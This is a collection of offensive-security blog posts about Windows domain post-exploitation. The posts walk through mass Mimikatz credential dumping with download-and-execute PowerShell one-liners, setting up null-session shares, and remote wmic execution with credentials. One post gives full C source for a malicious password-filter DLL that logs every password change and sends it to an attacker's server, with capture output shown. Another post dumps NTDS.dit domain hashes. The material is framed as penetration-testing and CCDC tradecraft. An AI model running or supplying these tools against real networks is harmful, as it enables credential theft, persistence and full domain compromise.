Room362.com

Blatherings of a security addict.

Alive Again

| Comments

I’ve taken a rather long hiatus from blogging. This is mostly because I was fed up with the blogging platform that I had (Squarespace) and didn’t really have any alternatives that met all of the features I wanted.

So, where am I at now? Github actually. Github allows users to create “Github Pages” for repositories (or be it’s own repo). For the most part these pages are written in Markdown. It’s late and I don’t feel like looking up who, but someone created a project called “Jekyll” which is a Ruby based static page generator and then another project called “Octopress” popped up using Jekyll to create a static html based blogging platform.

It’s a bit of a pain in the butt to use and learn, but once you have a few things automated it gets simpler. It also hits the most bullet points of any other option.

Expect things to pick up pretty quickly here, but as I’m typing this I’m already thinking that promising something like that is a bad idea. We’ll see how it goes, it’s just good to be back.

Dumping a Domain Worth of Passwords With Mimikatz

| Comments

clymb3r recently posted a script called “Invoke-Mimikatz.ps1” basically what this does is reflectively injects mimikatz into memory, calls for all the logonPasswords and exits. It even checks the targets architecture (x86/x64) first and injects the correct DLL.

You can very easily use this script directly from an admin command prompt as so:

powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds"

(This works REALLY well for Citrix and Kiosk scenarios and it’s too hard to type/remember) This runs the powershell script by directly pulling it from Github and executing it “in memory” on your system.

One of the awesome added capabilities for this script is to run on a list of hosts. as so:

powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds -ComputerName @('computer1', 'computer2')"

This works great as all the output is directly on your system and all executed through Powershell Remoting. Powershell Remoting is pretty much the same as WinRM. This service however is not enabled by default and can be pretty hit or miss on how much any given enterprise uses WinRM. However, it is usually the servers and more important systems that have it enabled more often than not.

You can find WinRM / PowerShell Remoting by scanning for the service port 47001 as well as the default comm ports for WinRM 5985 (HTTP) and 5986 (HTTPS).

If you find that your target isn’t a WinRM rich environment or you just want more passwords you can take a slightly more painful route, I call it “Mass Mimikatz”

Step 1. Make a share, we are doing this so we can not only collect the output of all our computers passwords, but to host the CMD batch file that will run the powershell script:

cd\
mkdir open
net share open=C:\open /grant:everyone,full
icacls C:\open\ /grant Everyone:(OI)(CI)F /t

We are setting “Everyone” permissions on a Share (net share) and NTFS (icacls) level for this to work properly.

Step 2. Set registry keys. There are two registry keys that we need to set. The first allows Null Sessions to our new share and the second allows null users to have the “Everyone” token so that we don’t have to get crazy with our permissions. I have create a meterpreter script that has a bunch of error checking here: massmimi_reg.rb or you can just make the following changes”

HKLM\System\CurrentControlSet\services\LanmanServer\Parameters NullSessionShares REG_MULTI_SZ  = open
HKLM\System\CurrentControlSet\Contol\Lsa "EveryoneIncludesAnonymous" = 1

Step 3. Change directory into new “open” directory. This is so our uploads and in particular our web server will be hosted out of the correct directory.

Step 4. Upload powershell script powermeup.cmd – this script will run our hosted Invoke-Mimikatz script on each host:

powershell "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.127:8080/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds > \\192.168.1.127\open\%COMPUTERNAME%.txt 2>&1

Step 5. Upload clymb3r’s Invoke-Mimikatz ps1 – Download from PowerSploit repo: source on github

Step 6. Upload mongoose: Downloads Page – Both regular and tiny versions work. This is an awesome, single executable webserver that supports LUA, Sqlite, and WebDAV out of the box. Tiny version is under 100k.

Step 7. Upload serverlist.txt – This is a line by line list of computer names to use mimikatz on. You’ll have to gather this one way or another.

Step 8. Execute mongoose (from directory with mimikatz.ps1) – This will start a listener with directory listings enabled on port 8080 by default

Step 9a. Execute wmic:

wmic /node:@serverlist.txt process call create "\\192.168.92.127\open\powershellme.cmd"

Step 9b. Execute wmic with creds:

wmic /node:@serverlist.txt /user:PROJECTMENTOR\jdoe /password:ASDqwe123 process call create "\\192.168.92.127\open\powershellme.cmd"

Step 10. Watch as text files full of wonder and joy fill your share.

You can find the scripts here: https://github.com/mubix/post-exploitation/tree/master/scripts/mass_mimikatz

Don’t forget to clean up::

  1. kill mongoose process
  2. net share open /delete
  3. kill/reset registry values
  4. delete “open” directory

Got a better way of getting this done? Please leave a comment.

P.S. You could just enable Powershell Remoting for them ;)

psexec @serverlist.txt -u [admin account name] -p [admin account password] -h -d powershell.exe "enable-psremoting -force"

AD Zone Transfers as a User

| Comments

_cross posted from: http://carnal0wnage.attackresearch.com/2013/10/ad-zone-transfers-as-user.html_

The tired and true method for Zone Transfers are using either nslookup:

1
2
nslookup
ls -d domain.com.local

Or dig:

1
dig -t AXFR domain.com.local @ns1.domain.com.local

In the Windows Enterprise world there are a few more options. If you are a DNS Admin you can use the ‘dnscmd’ command like so:

1
2
dnscmd /EnumZones
dnscmd /ZonePrint domain.com.local

Which is handy if you can pop the DNS server (usually the Domain Controller so you usually have better things to do at that point).

You can also use PowerShell:

PS C:\Users\jdoe> get-wmiobject -ComputerName dc1 -Namespace root\microsoftDNS -Class MicrosoftDNS_ResourceRecord -Filter "domainname='projectmentor.net'" | select textrepresentation

Again, this requires you to be a very high privileged account, which is no fun. I need these computer lists as part of my internal / post-exploitation recon, not an end step.

For the longest time I relied on a very awesome tool called “Adfind”:

1
adfind -sc computers_active -csv -nodn -nocsvq -nocsvheader

This command will output a list of computer accounts that have been active in the last 90 days in a straight line by line format (hence all of the no “this”and no “that” flags)

But that wasn’t good enough, this image kept haunting me:

It’s Active Directory Explorer by SysInternals. It shows the complete list of DNS records, stored as objects in Active Directory that I was able to get to as a basic domain user. This means all of the static DNS records for the unix systems and mainframes and other systems outside of the purely Windows world are there as well.

I spent 4 days attempting to write my own script, ldap query, prayer to get all of the data out but was unsuccessful. On the 5th day I happened upon a very short post saying “I did it”, as I probably would have written the same. It comes in the form of a PowerShell script that you can find here:

Code: https://github.com/mmessano/PowerShell/blob/master/dns-dump.ps1

And is very easy to run:

PS C:\Users\jdoe> dns-dump.ps1 -zone projectmentor.net -dc dc1

or

C:\> powershell -ep bypass -f dnsdump.ps1 -zone projectmentor.net -dc dc1

If you put a -csv on the end of those the author has even given you the CSV format which makes the output extremely easy to parse. Now you can throw your list into your tool of choice instead of scanning random IP ranges on the targets network for important stuff you can scan directly against known good hosts.

— mubix

P.S. Yes I realize this isn’t actually “Zone Transfer”s but its close enough

Stealing Passwords Every Time They Change

| Comments

Password Filters [0] are a way for organizations and governments to enforce stricter password requirements on Windows Accounts than those available by default in Active Directory Group Policy. It is also fairly documented on how to Install and Register Password Filters [1].aspx). Basically what it boils down to is updating a registry key here: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages

with the name of a DLL (without the extension) that you place in Windows\System32\

For National CCDC earlier this year (2013), I created an installer and “evil pass filter” that basically installed itself as a password filter and any time any passwords changed it would store the change to a log file locally to the victim (in clear text) as well as issue an HTTP basic auth POST to a server I own with the username and password.

The full code can be found below. I’ll leave the compiling up to you but basically its slamming the code in Visual Studio, telling it its a DLL, and clicking build for the architecture you are targeting (Make sure to use the Internet Open access settings that make the most sense for the environment you are using this in [2.aspx)].

So lets walk the exploitation:

First, you have to be admin or system, as this is more of a persistence method than anything.

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Next, we upload the evilpassfilter.dll to Sytem32:

meterpreter > pwd
C:\Windows\system32
meterpreter > upload /tmp/evilpassfilter.dll .
[*] uploading  : /tmp/evilpassfilter.dll -> .
[*] uploaded   : /tmp/evilpassfilter.dll -> .\evilpassfilter.dll

Then we need to query what is already in the notification packages list:

meterpreter > reg queryval -k HKLM\\System\\CurrentControlSet\\Control\\Lsa -v "Notification Packages"
Key: HKLM\System\CurrentcontrolSet\Control\Lsa
Name: Notification Packages
Type:
Data: sceclirassfm

What you can’t see here since Metasploit isn’t showing the line breaks is that there are two there by default:

scecli
rassfm

We need to add ours to the end of this list, unfortunately at the current point of time its impossible to do directly from the meterpreter command line (as far as I know). So we need to drop a .reg file and manually import it. Easiest way to do that is to add your “evilpassfilter” string as well as the ones on the victim to a VM you have and export it. Should look like this:

Once we have our file, we upload and import it using reg command:

meterpreter > upload importme.reg .
[*] uploading  : importme.reg -> .
[*] uploaded   : importme.reg -> .\importme.reg
meterpreter > execute -H -f regedit.exe -a '/s importme.reg'
Process 2628 created.
meterpreter > 

Double check our work:

meterpreter > reg queryval -k HKLM\\System\\CurrentcontrolSet\\Control\\Lsa -v "Notification Packages"
Key: HKLM\System\CurrentcontrolSet\Control\Lsa
Name: Notification Packages
Type:
Data: sceclirnrassfmrnevilpassfilter 

Its there, w00t! But it doesn’t do anything until a reboot happens :(. Lets just force that to happen (not the most stealthy thing to do):

meterpreter > reboot
Rebooting...

While thats going on, lets set up the server to catch the basic auth.

msf exploit(psexec) > use auxiliary/server/capture/http_basic
msf auxiliary(http_basic) > set URIPATH /
URIPATH => /
msf auxiliary(http_basic) > run
[*] Auxiliary module execution completed
msf auxiliary(http_basic) >
[*] Listening on 0.0.0.0:80...
[*] Using URL: http://0.0.0.0:80/
[*]  Local IP: http://192.168.92.106:80/
[*] Server started.
msf auxiliary(http_basic) > 

Then we wait for a password to be changed:

msf auxiliary(http_basic) >
[*] 192.168.92.106   http_basic - Sending 401 to client
[+] 192.168.92.106 - Credential collected: "jack:ASDqwe123" => /

No matter how complex their password is and without having a shell on the box anymore:

msf auxiliary(http_basic) >
[+] 192.168.92.106 - Credential collected: "jack:a?'z_a4#RRK(mvQEsyQ8l`,JR.pes<;6#0$puQ%Q&,@ZwY(T@p" => /

This works from Windows 2000, XP all the way up to Windows 8 & 2012.

Ok, but how often are local password changed? Maybe not that often, but guess what happens when a password filter is put on a domain controller. Every password changed by that DC is “verified” by your evil password filter.

Oh and what does that log file we talked about earlier on the victim look like if for some reason they block that IP you’re getting your authentication to? (You would have to find a way to get back on that system, or make it available via a share or otherwise)

InitializeChangeNotify()
JackJohnson:ASDqwe123
JackJohnson:a?'z_a4#RRK(mvQEsyQ8l`,JR.pes<;6#0$puQ%Q&,@ZwY(T@p

This attack supports a larger character set than most banks ;–)

Full code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#include <windows.h>
#include <stdio.h>
#include <WinInet.h>
#include <ntsecapi.h>

void writeToLog(const char* szString)
{
    FILE* pFile = fopen("c:\\windows\\temp\\logFile.txt", "a+");
    if (NULL == pFile)
    {
        return;
    }
    fprintf(pFile, "%s\r\n", szString);
    fclose(pFile);
    return;
}



// Default DllMain implementation
BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    OutputDebugString(L"DllMain");
    switch (ul_reason_for_call)
    {
        case DLL_PROCESS_ATTACH:
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}

BOOLEAN __stdcall InitializeChangeNotify(void)
{
    OutputDebugString(L"InitializeChangeNotify");
    writeToLog("InitializeChangeNotify()");
    return TRUE;
}

BOOLEAN __stdcall PasswordFilter(
    PUNICODE_STRING AccountName,
    PUNICODE_STRING FullName,
    PUNICODE_STRING Password,
    BOOLEAN SetOperation )
{
    OutputDebugString(L"PasswordFilter");
    return TRUE;
}

NTSTATUS __stdcall PasswordChangeNotify(
    PUNICODE_STRING UserName,
    ULONG RelativeId,
    PUNICODE_STRING NewPassword )
{
  FILE* pFile = fopen("c:\\windows\\temp\\logFile.txt", "a+");
  //HINTERNET hInternet = InternetOpen(L"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
  HINTERNET hInternet = InternetOpen(L"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0",INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
  HINTERNET hSession = InternetConnect(hInternet,L"172.16.10.1",80,NULL,NULL,INTERNET_SERVICE_HTTP ,0,0);
  HINTERNET hReq = HttpOpenRequest(hSession,L"POST",L"/",NULL,NULL,NULL,0,0);
  char* pBuf="SomeData";



  OutputDebugString(L"PasswordChangeNotify");
  if (NULL == pFile)
    {
        return;
    }
  fprintf(pFile, "%ws:%ws\r\n", UserName->Buffer,NewPassword->Buffer);
  fclose(pFile);
  InternetSetOption(hSession,INTERNET_OPTION_USERNAME,UserName->Buffer,UserName->Length/2);
  InternetSetOption(hSession,INTERNET_OPTION_PASSWORD,NewPassword->Buffer,NewPassword->Length/2);
  HttpSendRequest(hReq,NULL,0,pBuf,strlen(pBuf));

    return 0;
}

Changing Proxychains Hardcoded DNS Server

| Comments

If you’ve ever used proxychains to push things through Meterpreter, one of the most annoying things is its “hardcoded” DNS setting for 4.2.2.2, if the org that you are going after doesn’t allow this out of their network, or if you are trying to resolve an internal asset, you’re SOL. After a ton of googling and annoyed head slams into walls every time I forget where this is I’ve finally decided to make a note of it.

There isn’t much magic here other than knowing that this file exists, but /bin/proxyresolv is a bash script that calls “dig” using TCP and the DNS server specified so it goes through the proxychains. Here is what it looks like: (on Kali linux its found here: /usr/lib/proxychains3/proxyresolv)

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/sh
# This script is called by proxychains to resolve DNS names
# DNS server used to resolve names
DNS_SERVER=4.2.2.2

if [ $# = 0 ] ; then
echo " usage:"
echo " proxyresolv <hostname> "
exit
fi

export LD_PRELOAD=libproxychains.so.3
dig $1 @$DNS_SERVER +tcp | awk '/A.+[0-9]+\.[0-9]+\.[0-9]/{print $5;}'

Now you could just make the dig request yourself through proxychains then throw whatever you originally attended directly at an IP, or you can make the DNS_SERVER change and hardcode your engagement’s internal IP, up to you, but now its documented and I’ll never have to go searching like crazy again… as long as I remember that its on someone else’s blog.

Unkillable Processes

| Comments

Saw this post about a kernel bug in 64 bit Windows that is a DoS, it can also create an unkillable process: Blog post: http://waleedassar.blogspot.com/2013/02/kernel-bug-1-processiopriority.html

Figured I’d take a swing at making a module that I could put Meterpreter into an unkillable state. Good times at CCDC could be had.

Started with the C code for the bug: http://pastebin.com/QejGQXib along with the only resource I could find about the actual function: http://processhacker.sourceforge.net/doc/ntfill_8h.html#a6557e0dd024f0e9fa6132eb52d12810a

I came up with this:

1
2
3
4
5
6
7
8
9
10
11
12
client.railgun.add_function('ntdll','ZwSetInformationProcess','DWORD',[
   ["DWORD","ProcessHandle","in"],
   ["DWORD","ProcessInformationClass","in"],
   ["DWORD","ProcessInformation","inout"],
   ["DWORD","ProcessInformationLength","in"],
])
processinfo = 0x8000F129
tproc = client.sys.process.open
tmem = tproc.memory.allocate(4)
tproc.memory.write(tmem,processinfo)
cpidhandle = client.railgun.kernel32.GetCurrentProcess()['return']
client.railgun.ntdll.ZwSetInformationProcess(cpidhandle,0x21,tmem,0x4)

ScriptJunkie quickly identified that I was using a DWORD for a Handle and using 4 bits for a 64 bit process (should be 8) as well as the fact that I could use a PDWORD with the ProcessInformation inout parameter instead of writing it to memory myself.

The result:

1
2
3
4
5
6
7
8
9
client.railgun.add_function('ntdll','ZwSetInformationProcess','DWORD',[
     ["HANDLE","ProcessHandle","in"],
     ["DWORD","ProcessInformationClass","in"],
     ["PDWORD","ProcessInformation","inout"],
     ["DWORD","ProcessInformationLength","in"],
])
processinfo = 0x8000F129
cpidhandle = client.railgun.kernel32.GetCurrentProcess()['return']
client.railgun.ntdll.ZwSetInformationProcess(cpidhandle,0x21,processinfo,0x4)

Which results in a process that you can’t kill, but the process is also non-functioning as far as I can tell because the Meterpreter session dies.

I’m curious if with some tweaking I can get it to act much like the KillMe.exe https://code.google.com/p/ollytlscatch/downloads/detail?name=KillMe.exe

Which continues to operate just fine after the modification happens.

Problems With Blogging Software

| Comments

Problems are that everyone does this whole blogging thing in so many different ways. Me, personally? I like to have a client that I can save drafts it, work on things a little bit here and there and then finalize stuff when I’m ready to post. I have a couple dozen of these posts ready and set with final tweaks needed but my blogging software Squarespace up and moved on to “Squarespace 6”. The the current stage you don’t have to move to 6 but at some point the owners of Squarespace are going to force everyone over. I don’t want to wait for that to happen.

Octopress and Postach.io are my favorite options right now. Both blog in markdown language which is ok. Converting 8 years of blog posts to markdown is going to be a lot of work but a one time deal. Plus it would give me a chance to go through and fix the things that were broken over the years of modified blogging clients and services.

Postach.io has one major downside, they don’t have good “code” block support, whereas Octopress/Jekyll have excellent support as well code hilighting. The major upside? It’s based on Evernote. Which means I can blog from whereever I have Evernote. They also used to have an EXCELLENT feature that seems to have disappeared where if you updated a post it would automatically throw the blog post up to the top of your page, meaning your update would get back in your RSS feed and the update wouldn’t go unnoticed as most updates to blog posts do.

Volume Shadow Copy NTDS.DIT Domain Hashes Remotely - Part 2

| Comments

Part 2, we have the NTDS.dit file and the SYSTEM.hive file. First we need a few tools:

From: http://www.ntdsxtract.com/

Download: http://www.ntdsxtract.com/downloads/ntdsxtract/ntdsxtract_v1_0.zip

1
wget http://www.ntdsxtract.com/downloads/ntdsxtract/ntdsxtract_v1_0.zip

From: http://code.google.com/p/libesedb/

Download: https://googledrive.com/host/0B3fBvzttpiiSN082cmxsbHB0anc/libesedb-alpha-20120102.tar.gz

1
wget https://googledrive.com/host/0B3fBvzttpiiSN082cmxsbHB0anc/libesedb-alpha-20120102.tar.gz

Extract the tools:

1
2
tar zxvf libesedb-alpha-20120102.tar.gz
unzip ntdsxtract_v1_0.zip

Compile/make libesedb:

1
2
3
root@wpad:~/blog/# cd libesedb-20120102
root@wpad:~/blog/libesedb-20120102# ./configure
root@wpad:~/blog/libesedb-20120102# make

Export the tables from NTDS.dit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
root@wpad:~/blog/libesedb-20120102# cd esedbtools/
root@wpad:~/blog/libesedb-20120102/esedbtools# ./esedbexport
esedbexport 20120102

Missing source file.
Use esedbexport to export items stored in an Extensible Storage Engine (ESE)
Database (EDB) file

Usage: esedbexport [ -c codepage ] [ -l logfile ] [ -m mode ] [ -t target ]
                   [ -T table_name ] [ -hvV ] source

 source: the source file

  -c:     codepage of ASCII strings, options: ascii, windows-874,
          windows-932, windows-936, windows-1250, windows-1251,
          windows-1252 (default), windows-1253, windows-1254
          windows-1255, windows-1256, windows-1257 or windows-1258
  -h:     shows this help
  -l:     logs information about the exported items
  -m:     export mode, option: all, tables (default)
          'all' exports all the tables or a single specified table with indexes,
          'tables' exports all the tables or a single specified table
  -t:     specify the basename of the target directory to export to
          (default is the source filename) esedbexport will add the suffix
          .export to the basename
  -T:     exports only a specific table
  -v:     verbose output to stderr
  -V:     print version
root@wpad:~/blog/libesedb-20120102/esedbtools#


root@wpad:~/blog/libesedb-20120102/esedbtools# ./esedbexport ../../ntds.dit
esedbexport 20120102

Opening file.
Exporting table 1 (MSysObjects) out of 12.
Exporting table 2 (MSysObjectsShadow) out of 12.
Exporting table 3 (MSysUnicodeFixupVer2) out of 12.
Exporting table 4 (datatable) out of 12.
Exporting table 5 (hiddentable) out of 12.
Exporting table 6 (link_table) out of 12.
Exporting table 7 (sdpropcounttable) out of 12.
Exporting table 8 (sdproptable) out of 12.
Exporting table 9 (sd_table) out of 12.
Exporting table 10 (MSysDefrag2) out of 12.
Exporting table 11 (quota_table) out of 12.
Exporting table 12 (quota_rebuild_progress_table) out of 12.
Export completed.

Move the exported tables to somewhere a bit easier:

1
2
root@wpad:~/blog/libesedb-20120102/esedbtools#
root@wpad:~/blog/libesedb-20120102/esedbtools# mv ntds.dit.export/ ../../

NTDS extract can do a lot more than just hashes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@wpad:~/blog# cd NTDSXtract 1.0/
root@wpad:~/blog/NTDSXtract 1.0# ls
dscomputers.py  dsdeletedobjects.py  dsfileinformation.py  dsgroups.py  dstimeline.py  dsusers.py  framework  ntds
root@wpad:~/blog/NTDSXtract 1.0# python dsusers.py
DSUsers
Extracts information related to user objects

usage: dsusers.py   [option]
  options:
    --rid
          List user identified by RID
    --name
          List user identified by Name
    --passwordhashes
          Extract password hashes
    --passwordhistory
          Extract password history
    --certificates
          Extract certificates
    --supplcreds
          Extract kerberos keys
    --membership
          List groups of which the user is a member
root@wpad:~/blog/NTDSXtract 1.0#

But we like hashes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
root@wpad:~/blog/NTDSXtract 1.0# python dsusers.py ../ntds.dit.export/datatable.3 ../ntds.dit.export/link_table.5 --passwordhashes ../SYSTEM.hive --passwordhistory ../SYSTEM.hive
Running with options:
  Extracting password hashes
  Extracting password history
Initialising engine...
Scanning database - 100% -> 3475 records processed
Extracting schema information - 100% -> 1549 records processed
Extracting object links...

List of users:
==============

Record ID:           3562
User name:           Administrator
User principal name:
SAM Account name:    Administrator
SAM Account type:    SAM_NORMAL_USER_ACCOUNT
GUID: 7ceee337-fa58-4ca0-9643-540a40161020
SID:  S-1-5-21-3825330677-773554443-1603823854-500
When created:         2012-08-22 03:12:59
When changed:         2013-05-15 04:06:55
Account expires:      Never
Password last set:    2012-08-22 02:49:42.899576
Last logon:           2013-05-15 04:08:04.547236
Last logon timestamp: 2013-05-15 04:06:55.577353
Bad password time     2013-06-07 02:34:34.560516
Logon count:          9
Bad password count:   1
User Account Control:
  NORMAL_ACCOUNT
Ancestors:
  $ROOT_OBJECT$ net projectmentor Users Administrator
Password hashes:
  Administrator:$NT$88e4d9fabaecf3ded18dd80905521b29:::
Password history:

Record ID:           3563
User name:           Guest
User principal name:
SAM Account name:    Guest
SAM Account type:    SAM_NORMAL_USER_ACCOUNT
GUID: 659723d7-1246-4959-b0fc-af80ea5e3816
SID:  S-1-5-21-3825330677-773554443-1603823854-501
When created:         2012-08-22 03:12:59
When changed:         2013-03-14 06:54:22
Account expires:      Never
Password last set:    2013-03-14 06:54:22.029303
Last logon:           2013-03-14 06:54:27.012817
Last logon timestamp: 2013-03-14 06:32:41.834022
Bad password time     2013-06-07 03:07:46.499917
Logon count:          0
Bad password count:   10
User Account Control:
  PWD Not Required
  NORMAL_ACCOUNT
  PWD Never Expires
Ancestors:
  $ROOT_OBJECT$ net projectmentor Users Guest
Password hashes:
  Guest:$NT$823893adfad2ada6e1a414f3ebdf58f7:::
Password history:

Record ID:           3564
User name:           user
User principal name:
SAM Account name:    user
SAM Account type:    SAM_NORMAL_USER_ACCOUNT
GUID: c5a5c87a-93b4-4d80-97a1-1c605b9b0c03
SID:  S-1-5-21-3825330677-773554443-1603823854-1000
When created:         2012-08-22 03:12:59
When changed:         2013-06-07 02:51:54
Account expires:      Never
Password last set:    2013-03-14 03:25:11.793912
Last logon:           2013-06-07 02:51:54.152191
Last logon timestamp: 2013-06-07 02:51:54.152191
Bad password time     2013-04-19 05:25:40.412670
Logon count:          67
Bad password count:   0
User Account Control:
  NORMAL_ACCOUNT
  PWD Never Expires
Ancestors:
  $ROOT_OBJECT$ net projectmentor Users user
Password hashes:
  user:$NT$88e4d9fabaecf3dec18dd80905521b29:::
Password history:
  user_nthistory0:$NT$88e4d9fabafcf3dec18dd80905521b29:::
  user_nthistory1:$NT$0c61031f010b2fbb88fe449fbf262477:::
  user_nthistory2:$NT$88e4dffabaecf3dec18dd80905521b29:::
  user_lmhistory0:c869027e01c3c4fe7626a90c87cc7fed:::
  user_lmhistory1:8be023cd858da1edd21b94907afe182c:::

Record ID:           3610
User name:           krbtgt
User principal name:
SAM Account name:    krbtgt
SAM Account type:    SAM_NORMAL_USER_ACCOUNT
GUID: 74e6bd0b-e4d5-42df-98d5-24f9060061c9
SID:  S-1-5-21-3825330677-773554443-1603823854-502
When created:         2012-08-22 03:16:03
When changed:         2012-08-22 03:31:13
Account expires:      Never
Password last set:    2012-08-22 03:16:03.166457
Last logon:           Never
Last logon timestamp: Never
Bad password time     Never
Logon count:          0
Bad password count:   0
User Account Control:
  Disabled
  NORMAL_ACCOUNT
Ancestors:
  $ROOT_OBJECT$ net projectmentor Users krbtgt
Password hashes:
  krbtgt:$NT$7253e8647254716b507a2dcb149ff2da:::
Password history:
  krbtgt_nthistory0:$NT$7253e86a7254716a507a2dcb149ff2da:::
  krbtgt_lmhistory0:113926e06a31d182623633041b632929:::

Record ID:           3762
User name:           John Doe
User principal name: jdoe@projectmentor.net
SAM Account name:    jdoe
SAM Account type:    SAM_NORMAL_USER_ACCOUNT
GUID: bbf24c63-39a9-4cc4-8aa8-933f9ddee940
SID:  S-1-5-21-3825330677-773554443-1603823854-1104
When created:         2012-08-22 04:10:52
When changed:         2013-06-05 13:04:11
Account expires:      Never
Password last set:    2013-04-19 07:11:49.849592
Last logon:           2013-06-07 02:56:25.677855
Last logon timestamp: 2013-06-05 13:04:11.674344
Bad password time     2013-05-02 03:01:12.536251
Logon count:          242
Bad password count:   0
User Account Control:
  NORMAL_ACCOUNT
  PWD Never Expires
Ancestors:
  $ROOT_OBJECT$ net projectmentor Users John Doe
Password hashes:
  John Doe:$NT$88e4d9fabaecf3ded18dd80905511b29:::
Password history:

Record ID:           3797
User name:           Random User
User principal name: randy@projectmentor.net
SAM Account name:    randy
SAM Account type:    SAM_NORMAL_USER_ACCOUNT
GUID: 2701eb29-628a-4568-a093-d33a7db10d04
SID:  S-1-5-21-3825330677-773554443-1603823854-1108
When created:         2013-04-08 02:34:04
When changed:         2013-05-27 16:06:07
Account expires:      Never
Password last set:    2013-04-19 06:59:25.423280
Last logon:           2013-04-08 02:34:10.482690
Last logon timestamp: 2013-04-08 02:34:10.482690
Bad password time     Never
Logon count:          1
Bad password count:   0
User Account Control:
  NORMAL_ACCOUNT
  PWD Never Expires
Ancestors:
  $ROOT_OBJECT$ net projectmentor Users Random User
Password hashes:
  Random User:$NT$88ead9fa5aecf3dec18dd80905521b29:::
Password history:
root@wpad:~/blog/NTDSXtract 1.0#

All done. Start crackin’

Volume Shadow Copy NTDS.dit Domain Hashes Remotely - Part 1

| Comments

This and part 2 are mostly just an update to http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html but without the need for VSSOwn, that and we are doing it remotely without the need for shell on the DC.

Ever run into a Domain Controller that wasn’t allowed to talk to the Internet, had insane AV and GPOs not allowing anyone to RDP in (Even Domain Admins) unless they provided some kind of voodo happy dance? Ya me neither, but here is how you can still dump domain hashes and hash history if you run into that case. Lets start

First authenticate to the domain controller and make sure you have a good working directory to use.

1
2
net use \\DC1 /user:DOMAIN\domainadminsvc domainadminsvc123
dir \\DC1\C$

Alright, lets say “TEMP” is there and it’s empty on the remote DC. The way we are going to run commands will not allow us to get results directly so we are going to use a temp file on the DC in C:\TEMP where we already made sure is clear.

We are going to be using Volume Shadow Copies to pull the NTDS.dit file (Active Directory’s DB much like Window’s SAM file except that it stores the entire AD set of objects there), we also need the SYSTEM registry hive. You can get the SAM registry hive as well but that will only get local DC credentials.

So lets list the current volume shadow copies to see if we need to create one, from a Windows command prompt (or if you’ve installed wmic for Linux via http://www.krenger.ch/blog/wmi-commands-from-linux/ ) – this IS an interactive command so this won’t work very nicely in a Meterpreter shell:

1
2
3
4
5
6
7
8
9
C:\temp>wmic /node:DC1 /user:DOMAIN\domainadminsvc /password:domainadminsvc123 process call create "cmd /c vssadmin list shadows 2>&1 > C:\tempoutput.txt"
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
        ProcessId = 7304;
        ReturnValue = 0;
};

To break down this command:

  • wmic /node:DC1 – tells it to interact with the WMI API on DC1
  • /user:DOMAIN\domainadminsvc /password:domainadminsvc123 – authentication
  • process call create – WMI speak for create a process
  • cmd /c – vssadmin doesn’t operate outside of cmd for some reason…
  • vssadmin list shadows – List any shadow volumes that already exist
  • 2>&1 > C:\temp\output.txt – Take STDIN and STDERROR and throw it in a text file on DC1 C:\TEMP. Make sure you specify full path because you will be executing from within C:\Windows\System32 and its a pain to find anything in that directory. So if you just specify > bob.txt you get to hunt in C:\Windows\System32 or wherever WMI wants to execute you from for bob.txt

Process starts and then you need to view the output file by either copying it down, type \DC1\C$\TEMP\output.txt or mount the C drive as a network share. Either way you should either see something like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
C:\temp>type output.txt
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2005 Microsoft Corp.

Contents of shadow copy set ID: {671090fd-0198}
   Contained 1 shadow copies at creation time: 5/31/2013 11:29:03 AM
      Shadow Copy ID: {0863e309}
         Original Volume: (C:)\\?\Volume{c44da10e-0154-11e1-b968-806e6f6e6963}\
         Shadow Copy Volume: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
         Originating Machine: wpad
         Service Machine: wpad
         Provider: 'Microsoft Software Shadow Copy provider 1.0'
         Type: ClientAccessibleWriters
         Attributes: Persistent, Client-accessible, No auto release, Differential, Auto recovered

or

1
2
3
4
5
C:\temp>type output.txt
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2005 Microsoft Corp.

No items found that satisfy the query

